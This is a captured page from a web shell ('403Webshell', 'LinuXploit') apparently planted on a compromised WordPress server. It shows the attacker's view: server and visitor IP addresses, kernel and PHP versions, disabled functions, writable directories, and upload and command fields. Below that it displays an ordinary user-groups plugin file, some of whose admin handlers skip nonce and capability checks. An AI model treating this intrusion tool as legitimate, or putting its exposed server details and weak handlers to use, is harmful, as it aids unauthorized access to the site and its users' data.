403Webshell
Server IP : 43.141.49.107  /  Your IP : 113.219.202.44
Web Server : Apache
System : Linux VM-8-5-opencloudos 6.6.34-9.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 19 19:35:45 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.1.27
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/www.ucppt.com/wp-content/plugins/wpcom-member-pro/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ucppt.com/wp-content/plugins/wpcom-member-pro/includes/user-groups.php
<?php
namespace WPCOM\Member;
defined( 'ABSPATH' ) || exit;

class User_Groups {
    function __construct(){
        add_action( 'init', array( $this, 'register_user_groups' ) );
        add_action( 'admin_init', array( $this, 'set_default_user_groups' ) );
        add_action( 'admin_init', array( $this, 'change_users_group' ) );
        add_action( '_admin_menu', array( $this, 'user_groups_menu' ) );
        add_action( 'manage_user-groups_custom_column', array( $this, 'user_groups_column_count' ), 10, 3 );
        add_action( 'show_user_profile', array( $this, 'edit_user_groups' ) );
        add_action( 'edit_user_profile', array( $this, 'edit_user_groups' ) );
        add_action( 'personal_options_update', array( $this, 'save_user_groups_terms' ) );
        add_action( 'edit_user_profile_update', array( $this, 'save_user_groups_terms' ) );
        add_action( 'manage_users_custom_column', array( $this, 'manage_users_custom_column' ), 10, 3 );
        add_action( 'restrict_manage_users', array( $this, 'restrict_manage_users' ) );

        add_filter( 'wpcom_tax_metas', array( $this, 'user_groups_metas' ) );
        add_filter( 'wpcom-member-pro_tax_metas', array( $this, 'user_groups_metas' ) );
        add_filter( 'parent_file', array( $this, 'user_groups_parent_file' ) );
        add_filter( 'manage_edit-user-groups_columns', array( $this, 'user_groups_column' ) );
        add_filter( 'manage_users_columns', array( $this, 'manage_users_columns' ) );
        add_filter( 'pre_get_users', array( $this, 'filter_users_by_groups' ) );
        add_filter( 'wpcom_user_display_name', array( $this, 'display_name' ), 10, 3);
    }

    function register_user_groups(){
        $labels = array(
            'name' => __('Groups', WPCMP_TD),
            'singular_name' => __('User Group', WPCMP_TD),
            'search_items' => __('Search Groups', WPCMP_TD),
            'all_items' => __('All Groups', WPCMP_TD),
            'edit_item' => __('Edit Group', WPCMP_TD),
            'update_item' => __('Update Group', WPCMP_TD),
            'add_new_item' => __('Add Group', WPCMP_TD),
            'not_found' => __('No Group', WPCMP_TD),
            'menu_name' => __('Groups', WPCMP_TD),
        );

        $args = array(
            'public' => false,
            'hierarchical' => false,
            'labels' => $labels,
            'show_ui' => true,
            'show_in_rest' => current_user_can('publish_posts'),
            'show_admin_column' => true,
            'query_var' => true,
            'rewrite' => array('slug' => 'user-groups'),
            'capabilities' => array(
                'manage_terms' => 'edit_users',
                'edit_terms' => 'edit_users',
                'delete_terms' => 'edit_users',
                'assign_terms' => 'edit_users',
            ),
            'update_count_callback' => array( $this, 'user_group_update_count_callback' )
        );
        register_taxonomy('user-groups', 'user', $args);
    }

    function user_groups_menu(){
        global $submenu;

        add_submenu_page('users.php', __('Groups', WPCMP_TD), __('Groups', WPCMP_TD), 'manage_options', 'edit-tags.php?taxonomy=user-groups', '');

        $find_page = 'users.php';
        $find_sub = __('Groups', WPCMP_TD);

        foreach ($submenu as $page => $items):
            if ($page == $find_page):
                foreach ($items as $id => $meta):
                    if ($meta[0] == $find_sub):
                        $submenu[$find_page][11] = $meta;
                        unset ($submenu[$find_page][$id]);
                        ksort($submenu[$find_page]);
                    endif;
                endforeach;
            endif;
        endforeach;
    }

    function user_groups_metas($metas){
        if (current_filter() === 'wpcom-member-pro_tax_metas' && function_exists('wpcom_setup')) return $metas;
        if (!isset($metas['user-groups'])) $metas['user-groups'] = array();

        $_roles = wp_roles();
        $roles = $_roles->role_names;
        if(!empty($roles)){
            foreach ($roles as $name => $role) {
                $roles[$name] = translate_user_role($role);
            }
        }

        $group_metas = array(
            array(
                'name' => 'sys_role',
                'title' => '系统角色',
                'desc' => '选择当前用户角色在wordpress系统中的角色',
                'type' => 'select',
                'options' => $roles
            ),
            array(
                'name' => 'wpadmin',
                'title' => '后台访问权限',
                'desc' => '是否可以访问网站wp-admin后台',
                'type' => 'toggle'
            ),
            array(
                'name' => 'adminbar',
                'title' => '前端工具栏',
                'desc' => '是否显示前端页面顶部管理工具栏',
                'type' => 'toggle'
            )
        );

        $metas['user-groups'] = array_merge($metas['user-groups'], $group_metas);

        return $metas;
    }

    function user_groups_parent_file($parent_file = ''){
        global $pagenow;

        if (!empty($_GET['taxonomy']) && ($_GET['taxonomy'] == 'user-groups') && ($pagenow == 'edit-tags.php' || $pagenow == 'term.php')) {
            $parent_file = 'users.php';
        }

        return $parent_file;
    }

    function user_group_update_count_callback($terms, $taxonomy){
        global $wpdb;

        foreach ((array)$terms as $term) {
            $count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term));

            do_action('edit_term_taxonomy', $term, $taxonomy);
            $wpdb->update($wpdb->term_taxonomy, compact('count'), array('term_taxonomy_id' => $term));
            do_action('edited_term_taxonomy', $term, $taxonomy);
        }
    }

    function user_groups_column($columns){
        unset($columns['posts']);
        unset($columns['description']);
        $columns['users'] = __('Users', WPCMP_TD);
        return $columns;
    }

    function user_groups_column_count($display, $column, $term_id){
        if ('users' === $column) {
            $term = get_term($term_id, 'user-groups');
            echo $term->count;
        }
    }

    function edit_user_groups($user){

        $tax = get_taxonomy('user-groups');

        /* Make sure the user can assign terms of the profession taxonomy before proceeding. */
        if (!current_user_can($tax->cap->assign_terms))
            return;

        /* Get the terms of the 'profession' taxonomy. */
        $terms = get_terms(array('taxonomy' => 'user-groups', 'hide_empty' => false)); ?>

        <h3><?php _e('Groups', WPCMP_TD); ?></h3>

        <table class="form-table">

            <tr>
                <th><label for="user-groups"><?php _e('Select Group', WPCMP_TD); ?></label></th>
                <td>
                    <select name="user-groups">
                        <option value=""><?php _e('Select Group', WPCMP_TD); ?></option>
                        <?php
                        if (!empty($terms)) {
                            foreach ($terms as $term) { ?>
                                <option value="<?php echo esc_attr($term->slug); ?>" <?php echo(is_object_in_term($user->ID, 'user-groups', $term) ? 'selected' : '') ?>><?php echo $term->name; ?></option>
                            <?php }
                        } ?>
                    </select>
                </td>
            </tr>

        </table>
    <?php }

    function save_user_groups_terms($user_id){
        $tax = get_taxonomy('user-groups');
        if (!current_user_can('edit_user', $user_id) && current_user_can($tax->cap->assign_terms))
            return false;

        if (isset($_POST['user-groups'])) {
            wp_set_object_terms($user_id, array(sanitize_text_field($_POST['user-groups'])), 'user-groups', false);
            clean_object_term_cache($user_id, 'user-groups');
        }
    }

    function manage_users_columns($columns){
        $new_columns = array();
        foreach ($columns as $role => $name) {
            if ($role == 'role') {
                $new_columns[$role] = $name;
                $new_columns['group'] = __('Group', WPCMP_TD);
            } else {
                $new_columns[$role] = $name;
            }
        }
        return $new_columns;
    }

    function manage_users_custom_column($value, $column_name, $user_id){
        if ($column_name == 'group') {
            $group = wpcom_get_user_group($user_id);
            if ( $group ) return $group->name;
        }

        return $value;
    }

    function restrict_manage_users($which){
        $change = $which == 'bottom' ? 'change_group2' : 'change_group';
        $change_btn = $which == 'bottom' ? 'change_btn2' : 'change_btn';
        $change_group = isset($_REQUEST['change_btn']) ? (isset($_REQUEST['change_group']) ? $_REQUEST['change_group'] : '') : (isset($_REQUEST['change_group2']) ? $_REQUEST['change_group2'] : '');

        $filter = $which == 'bottom' ? 'filter_group2' : 'filter_group';
        $filter_btn = $which == 'bottom' ? 'filter_btn2' : 'filter_btn';
        $filter_group = isset($_REQUEST['filter_btn']) ? (isset($_REQUEST['filter_group']) ? $_REQUEST['filter_group'] : '') : (isset($_REQUEST['filter_group2']) ? $_REQUEST['filter_group2'] : '');

        $groups = get_terms(array(
            'taxonomy' => 'user-groups',
            'hide_empty' => false,
        ));
        ?>
        <div style="display: inline-block;margin-left: 10px;">
            <label class="screen-reader-text" for="<?php echo $change; ?>">分组变更</label>
            <select name="<?php echo $change; ?>" id="<?php echo $change; ?>">
                <option value="">将分组变更为...</option>
                <?php
                foreach ($groups as $group) { ?>
                    <option value="<?php echo esc_attr($group->slug); ?>" <?php selected($group->slug, $change_group); ?>><?php echo $group->name; ?></option>
                <?php } ?>
            </select>
            <input name="<?php echo $change_btn; ?>" class="button" value="<?php _e('Change'); ?>" type="submit"/>
        </div>
        <div style="display: inline-block">
            <label class="screen-reader-text" for="<?php echo $filter; ?>"><?php _e('User Groups', WPCMP_TD); ?></label>
            <select name="<?php echo $filter; ?>" id="<?php echo $filter; ?>">
                <option value="">筛选用户分组</option>
                <?php
                foreach ($groups as $group) { ?>
                    <option value="<?php echo esc_attr($group->slug); ?>" <?php selected($group->slug, $filter_group); ?>><?php echo $group->name; ?></option>
                <?php } ?>
            </select>
            <input name="<?php echo $filter_btn; ?>" class="button" value="<?php _e('Filter'); ?>" type="submit"/>
        </div>
        <div style="display: inline-block;margin-left: 10px;">
            <input name="update-default-groups" class="button button-primary" value="更新无分组用户" type="submit"/>
        </div>
        <?php
    }

    function filter_users_by_groups($query){
        global $pagenow;
        if (is_admin() && 'users.php' == $pagenow && (isset($_REQUEST['filter_btn']) || isset($_REQUEST['filter_btn2']))) {
            $filter_group = isset($_REQUEST['filter_btn']) ? $_REQUEST['filter_group'] : $_REQUEST['filter_group2'];
            $group = get_term_by('slug', $filter_group, 'user-groups');
            $users = get_objects_in_term($group->term_id, 'user-groups');
            $query->set('include', $users);
        }
    }

    function change_users_group(){
        global $pagenow;
        if ( is_admin() && 'users.php' == $pagenow && (isset($_REQUEST['change_btn']) || isset($_REQUEST['change_btn2'])) ) {
            $change_group = isset($_REQUEST['change_btn']) ? $_REQUEST['change_group'] : $_REQUEST['change_group2'];
            $uids = isset($_REQUEST['users']) ? $_REQUEST['users'] : '';
            if( $change_group && $uids ){
                foreach ( $uids as $id ){
                    wp_set_object_terms( $id, array( $change_group ), 'user-groups', false );
                }
            }
        }
    }

    function set_default_user_groups(){
        global $pagenow, $options;
        if( current_user_can( 'edit_users' ) && 'users.php' == $pagenow && isset($_REQUEST['update-default-groups']) && $_REQUEST['update-default-groups'] != '') {
            $default_group = isset($options['member_group']) && $options['member_group'] ? $options['member_group'] : '';
            if( !$default_group ) return false;
            $users = get_users( array('number' => -1) );
            foreach ( $users as $user ) {
                $group = wp_get_object_terms( $user->ID, 'user-groups' );
                if ( is_wp_error($group) || !isset($group[0]) ) {
                    wp_set_object_terms( $user->ID, array( (int)$default_group ), 'user-groups', false );
                    clean_object_term_cache( $user->ID, 'user-groups' );
                }
            }
        }
    }

    function display_name($name, $user_id, $type=''){
        if($type=='full'){
            $group = wpcom_get_user_group($user_id);
            if ( $group ) $name .= '<span class="user-group">'.$group->name.'</span>';
        }
        return $name;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit